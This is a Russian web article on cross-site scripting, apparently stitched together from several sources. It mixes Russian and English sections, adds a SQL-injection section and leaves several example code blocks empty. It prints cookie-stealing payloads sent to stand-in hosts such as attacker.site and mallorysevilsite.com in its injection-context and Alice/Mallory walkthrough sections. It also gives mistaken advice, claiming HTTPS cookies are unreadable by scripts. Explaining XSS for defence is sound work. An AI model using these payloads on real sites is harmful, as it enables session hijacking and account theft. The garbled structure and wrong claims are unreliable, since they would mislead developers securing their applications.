Межсайтовый скриптинг (xss): что это такое и как его исправить?
Содержание:
- Связанные уязвимости
- Типы XSS-уязвимостей
- Пассивные XSS
- 5) Контекст JavaScript
- Frequently asked questions
- Принцип действия атак, основанных на межсайтовом скриптинге
- Противодействие XSS-атакам
- Способы защиты от XSS уязвимостей при разработке
- Как защитить сайт от SQL-инъекции
- Примеры эксплуатирования XSS
- How Cross-site Scripting Works
- Пользовательские данные
- DOM-based cross-site scripting
- Выводы
Связанные уязвимости
В атаке универсального межсайтового скриптинга ( UXSS или Universal XSS ) используются уязвимости в самом браузере или в плагинах браузера (а не в уязвимостях других веб-сайтов, как в случае с XSS-атаками).
С XSS связаны несколько классов уязвимостей или техник атак: межзональный сценарий использует концепции «зон» в определенных браузерах и обычно выполняет код с более высокими привилегиями. Внедрение HTTP-заголовка может использоваться для создания условий межсайтового сценария из-за проблем с выходом на уровень протокола HTTP (в дополнение к разрешению атак, таких как разделение HTTP-ответа ).
Подделка межсайтовых запросов (CSRF / XSRF) почти противоположна XSS, поскольку вместо того, чтобы использовать доверие пользователя к сайту, злоумышленник (и его вредоносная страница) использует доверие сайта к клиентскому программному обеспечению, отправляя запросы, которые сайт считает, что представляет собой сознательные и преднамеренные действия аутентифицированных пользователей. Уязвимости XSS (даже в других приложениях, работающих в том же домене) позволяют злоумышленникам обойти усилия по предотвращению CSRF.
использует преимущества сторонних клиентов, восприимчивых к атакам XSS или Open Redirect. Обычные попытки фишинга легко обнаружить, потому что URL-адрес вредоносной страницы обычно на пару букв отличается от URL-адреса реального сайта. Отличие от скрытого перенаправления заключается в том, что злоумышленник может использовать реальный веб-сайт, повредив его с помощью вредоносного всплывающего диалогового окна входа в систему.
Наконец, SQL-инъекция использует уязвимость на уровне базы данных приложения. Если вводимые пользователем данные неправильно отфильтрованы, приложение может выполнять любые операторы SQL.
Конкретные XSS, которые влияют на данную версию веб-браузера, как правило, уникальны. Следовательно, можно использовать XSS для определения производителя браузера и версии пользователя.
Типы XSS-уязвимостей
Не все уязвимости XSS одинаковы, их существует множество типов. Здесь перечислены типы и способы их взаимодействия:
Рисунок 3. Типы XSS-уязвимостей
Уязвимости, вызванные кодом на стороне сервера (Java, PHP, .NET и т. д.):
Традиционные XSS-атаки:
- Отраженные (непостоянные). Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.
- Хранимые (постоянные). Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.
Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.):
Также известные как DOM-модели:
- Отраженные (непостоянные). То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.
- Хранимые (постоянные). Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.
Уязвимости, вызванные инфраструктурой (браузер, плагины, сервера и т. д.):
Встречаются очень редко, но являются более опасными:
- Инфраструктура на стороне клиента. Происходит, когда вредоносная составляющая производит какие-либо манипуляции с функционалом браузера, например с его XSS-фильтром и т.п.
- Инфраструктура на стороне сервера. Возникает, когда веб-сервер некорректно обрабатывает запросы, позволяя модифицировать их.
- Сеть. Происходит, когда возможно внедриться в связь между клиентом и сервером.
Уязвимости, вызванные пользователем:
- Само-XSS. Часто происходит в результате социальной инженерии, когда пользователь случайно запускает вредоносный код в своем браузере.
Пассивные XSS
Те XSS-атаки, что я описывал выше, относятся к разряду «активных». Пользователь совсем от них не защищен,
достаточно посетить страницу с вставленным скриптом, и все, уязвимость сработает. Такие атаки
опасней всего, но обычно от них вебмастера все-таки делают защиту. Но бывают еще пассивные XSS,
одна из них как раз и описана в статье на Хабре (ссылка чуть выше).
Основанием для таких атак являются, например, формы поиска на сайтах. Текст, вводимый в них, тоже нужно фильтровать,
но об этом владельцы сайтов часто забывают. А зря. Да, если хакер введет скрипт прямо в форму поиска,
выполнится он только на его компьютере. Но что он еще может сделать — так это сформировать ссылку на «результаты поиска».
Если кто-нибудь проследует по такой ссылке, то скрипт выполнится и у него.
Какой можно сделать вывод? Ну, во-первых, если вы вебмастер, то вам обязательно надо подумать о возможных xss-атаках
на ваших пользователей. Во-вторых, от активных XSS как пользователь не убережешься, поэтому это — еще один
повод иметь хороший антивирус и обновлять свою систему. Что касается пассивных XSS, то защита, в принципе, от них есть.
Нужно поосторожней переходить по ссылкам в письмах и в местах, которым вы не доверяете. Особенно, если такая
ссылка ведет на известный вам ресурс, на котором вы зарегистрированы, но при этом полный адрес ссылки
имеет внушительную длину или же не прочитывается полноценно.
← Смена хостинга | Удаленная помощь → |
5) Контекст JavaScript
Внутри раздела страницы JavaScript кода.
<script>
некоторый_javascript
пользовательский_ввод
некоторый_javascript
</script>
Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.
Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:
- a) Контекст кода
- b) Контекст строки внутри одинарных кавычек
- c) Контекст строки внутри двойных кавычек
- d) Контекст комментария в одну строку
- e) Контекст комментария в несколько строк
- f) Строки, которые отправляются исполняющим поглотителям
Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.
Например:
</script><img src=x onerror=alert(1)>
Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.
a) Контекст кода
function dev_func(input) {some_js_code}
dev_func(пользовательский_ввод);
some_variable=123;
Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.
Например:
$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
b) Контекст строки внутри одинарных кавычек
var some_variable=’пользовательский_ввод’;
Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
‘; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
c) Контекст строки внутри двойных кавычек
var some_variable=»пользовательский_ввод»;
Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
«; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
d) Контекст команды в одну строку
some_js_func();//пользовательский_ввод
Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.
Например:
\r\n$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
e) Контекст многострочного комментария
some_js_func();
/*
пользовательский_ввод
*/
some_js_code
Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.
Например:
*/$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
f) Строка, предназначенная для исполнителей кода
Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.
Вот несколько примеров:
- eval(«пользовательский_ввод»);
- location = «пользовательский_ввод»;
- setTimeout(1000, «пользовательский_ввод»);
- x.innerHTML = «пользовательский_ввод»;
Дополнительные конструкции для исполнения кода смотрите в DOM XSS wiki.
Это должно обрабатываться похожим образом с контекстом кода.
Frequently asked questions
How does Cross-site Scripting work?
In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web page to deliver malicious JavaScript to your user. The user’s browser executes this malicious JavaScript on the user’s computer. Note that about one in three websites is vulnerable to Cross-site scripting.
Why is Cross-site Scripting dangerous?
Even though a Cross-site Scripting attack happens in the user’s browser, it may affect your website or web application. For example, an attacker may use it to steal user credentials and log in to your website as that user. If that user is an administrator, the attacker gains control over your website.
How to discover Cross-site Scripting?
To discover Cross-site Scripting, you may either perform manual penetration testing or first use a vulnerability scanner. If you use a vulnerability scanner, it will save you a lot of time and money because your penetration testers can then focus on more challenging vulnerabilities.
How to protect against Cross-site Scripting?
To protect against Cross-site Scripting, you must scan your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to popular opinions, web application firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.
Принцип действия атак, основанных на межсайтовом скриптинге
Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.
Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с «подтверждением» или «выводом результатов» (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.
Следующая простейшая PHP-страница уязвима для XSS-атак!
<?php echo "Hello, {$HTTP_GET_VARS}!"; ?>
Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку «Arpit Bajpai») в качестве аргумента, URL будет выглядеть следующим образом: (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.
Рисунок 1: Безопасная передача данных
Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: .
Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.
Рисунок 2: Необработанный вывод
Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук.
<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>
В ходе работы этого сценария в файле сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий .
Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.
На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location= «http://attackerserver/cookie.php?c=»+document.cookie)></iframe>
Противодействие XSS-атакам
Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.
Мероприятия для клиентов или пользователей
Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы и (в последовательности и соответственно) в параметре в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.
Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.
Если при создания ссылки использовался сервис по сокращению длины URL, такой, как «tiny», «tinyurl», «bit.ly», «is.gd», «shorturl», «snipurl», и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения «ненадежных» сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам
Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.
Для разработчиков
Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является .
Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.
Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.
Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.
Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.
Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.
Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.
Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.
Способы защиты от XSS уязвимостей при разработке
Так как я являюсь C# разработчиком, то способы защиты от XSS будут рассмотрены для языка C#. Однако это никак не повлияет на информативность, потому что варианты защиты, описанные ниже, подойдут для практически любого языка программирования.
Первый вариант защиты от XSS уязвимостей при разработке – это использование возможностей веб-фреймворка. Например, в C# фреймворке ASP.NET можно в файлах .cshtml и .razor смешивать HTML разметку и C# код:
В этом файле на странице отображается результат C# выражения Model.RequestId. Чтобы данный тип файла скомпилировался, C# выражение или блок C# кода должен начинаться с символа ‘@’. Однако этот символ не только позволяет использовать C# вместе с HTML разметкой в одном файле, но и указывает ASP.NET, что если блок кода или выражение возвращают значение, то перед его отображением на странице необходимо в значении кодировать символы HTML в HTML-сущности. HTML-сущности — это части текста («строки»), которые начинаются с символа амперсанда (&) и заканчиваются точкой с запятой (;). Сущности чаще всего используются для представления специальных символов (которые могут быть восприняты как часть HTML-кода) или невидимых символов (таких как неразрывный пробел). Таким образом ASP.NET защищает разработчиков от XSS атак.
Однако особое внимание стоит уделить файлам с расширением .aspx в ASP.NET (более старая версия файлов HTML страниц с поддержкой C# кода). Этот тип файлов не кодирует автоматически результаты C# выражений
Для кодирования HTML символов в C# выражениях в этом типе файлов необходимо помещать C# код в блок кода . Например:
Вторым вариантом является кодирование HTML символов в HTML-сущности перед отображением данных на веб-странице «вручную», то есть с использованием специальных функций-кодировщиков. В C# для этого имеются специальные методы:
- System.Web.HttpUtility.HtmlEncode(string);
- System.Net.WebUtility.HtmlEncode(string);
- System.Web.Security.AntiXss.HtmlEncode(string);
- System.Text.Encodings.Web.HtmlEncoder.Default.Encode(string).
В результате кодирования HTML символов вредоносный код не выполняется браузером, а просто отображается в виде текста на веб-странице, причем закодированные символы отображаются корректно.
Давайте я продемонстрирую данный способ защиты на примере XSS атаки, проведённой ранее. Вот только одна проблема: в JavaScript я не нашёл функции, которая кодирует HTML символы в HTML-сущности. Зато я нашёл в интернете способ, как быстро и легко написать такую функцию:
При написании этой функции была использована особенность свойства Element.innerHTML. Используем эту функцию на HTML странице из примера XSS атаки:
Здесь мы кодируем значение xss параметра при помощи функции htmlEncode перед отображением на странице.
Теперь откроем эту страницу, передав в параметре xss строку <script>alert(«You’ve been hacked! This is an XSS attack!»)</script>:
Как видите, при кодировании строки со скриптом браузер просто отображает эту строку на странице, а не выполняет скрипт.
Третий вариант защиты – это валидация данных, полученных от пользователя или какого-то другого внешнего источника (HTML запрос, база данных, файл и т.п.). Для этого типа защиты хорошо подходят регулярные выражения. Их можно использовать для отлова данных, содержащих опасные символы или конструкции. При обнаружении подобных данных валидатором приложение просто должно выдать пользователю сообщение об опасных данных и не отправлять их далее на обработку.
Как защитить сайт от SQL-инъекции
Прежде всего запомните, что безопасных систем не бывает, поэтому нужно постоянно искать уязвимости, которые могут быть у вашего сайта.
1. Используйте белые списки
В примере выше нас бы спасло, если бы существовал белый список — нужно указать допустимые ключи и значения.
Теперь в переменные $key и $values попадут только те значения, которые входят в белый список $allowed.
2. Не пользуйтесь методом GET в формах
Передавать переменные этим способом очень опасно, потому что они оказываются на виду у пользователей. Если информация важная, то лучше используйте POST. Из ссылки злоумышленник может узнать не только имена переменных, но и какие значения должны быть в них — так он сможет выбрать оптимальную переменную для ввода инъекции.
Не советуем использовать переменные прямиком из супермассива — лучше поместить их в другую переменную, предварительно проверив данные.
3. Обрабатывайте переменные
Старайтесь экранировать кавычки, заменять служебные символы, удалять лишние пробелы и так далее. Давайте посмотрим, что будет, если этого не делать:
Используйте функции trim (убирает лишние пробелы), htmlspecialchars (заменяет треугольные скобки и другие спецсимволы), addslashes (экранирует кавычки и специальные символы) и другие.
В приведенной форме регистрации, например, злоумышленник мог бы использовать кавычки и запятые, чтобы добавить новый ключ и новое значение. То есть, введя в поле что-то вроде «pass’, ’something», он бы добавил какую-нибудь еще информацию, которая не проходит белый список.
Также вы можете проверять типы переменных — число, строка, файл и так далее.
4. Проверяйте, откуда пришли данные
Недостаточно просто обработать данные — нужно узнать, откуда они пришли. Отследить источник можно несколькими способами:
- проверять его в $_SERVER;
- создать скрытое поле в форме;
- указать имя формы;
- указать имя кнопки отправки и так далее.
Конечно, это лишь незначительный бонус к защите, но зато он отсеивает часть неопытных взломщиков, которые бросят свои потуги после нескольких попыток.
5. Используйте PDO
С помощью PDO и плейсхолдеров можно значительно снизить риск инъекции, потому что данные и запрос отправляются отдельно. Сначала производится подключение к базе, потом подготавливается запрос, затем отдельно указываются переменные, и, наконец, запрос выполняется. Выглядит это так:
Данные отправляются уже в виде переменных. То есть если бы в переменной кто-то поставил лишнюю кавычку, сервер бы не подумал, что она — часть запроса. Поэтому попытка испортить запрос через переменную не сработала бы.
Этот способ, пожалуй, эффективнее остальных, поэтому переходите на PDO как можно скорее. Хотя его использование не означает, что другие меры безопасности уже не нужны — чем больше защитных механизмов вы установите, тем сохраннее будет информация.
Часто проверками пренебрегают самоучки, которые изучают темы «по верхушкам», — они могут решить задачу, но редко задумываются о том, чтобы устранить уязвимости. Поэтому мы предлагаем курс с системным обучением — вы научитесь создавать эффективные и надежные системы, которым не будут страшны инъекции и утечки данных.
Примеры эксплуатирования XSS
Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:
2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).
2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
- Мэлори имеет аккаунт на сайте Боба.
- Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
- Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
- В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
- Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
- Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
How Cross-site Scripting Works
There are two stages to a typical XSS attack:
- To run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject malicious code (payload) into a web page that the victim visits.
- After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.
For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.
The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:
The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:
The web server provides the following HTML code to users that visit this web page:
When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.
Пользовательские данные
Причина, по которой xss-атаки вообще могут существовать — размещение на сайтах пользовательских данных.
Прошла пора сайтов статических, сейчас практически везде можно оставить сообщение, комментарий,
запись в гостевой книге. Тем самым, на сайте остается информация, введенная пользователем.
Конечно, владельцы сайтов подразумевают, что должны оставляться просто сообщения. Но если не сделать
подходящей защиты, то злоумышленники смогут оставить на сайте и сообщение, содержащее скрипт.
Предположим, что я бы вообще не фильтровал комментарии в этой статье. Тогда
если на моем блоге оставить комментарий <script>alert(‘xss’)</script>,
то у всех посетителей этой страницы станет выполняться указанный скрипт. В данном случае он безопасен, он просто
выводит сообщение с надписью xss.
А теперь подумайте, что этот скрипт мог бы еще сделать? Да все описанное выше — попытаться отправить
вас на сайт с вирусами, задействовать напрямую уязвимость в вашем браузере, переправить на
фишинговый сайт. В принципе, вы должны от всего этого быть защищены, так что потерял бы в первую
очередь я как владелец сайта.
DOM-based cross-site scripting
DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
In the following example, an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML:
If the attacker can control the value of the input field, they can easily construct a malicious value that causes their own script to execute:
In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.
Выводы
Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.
Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.
Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.
Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.
В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.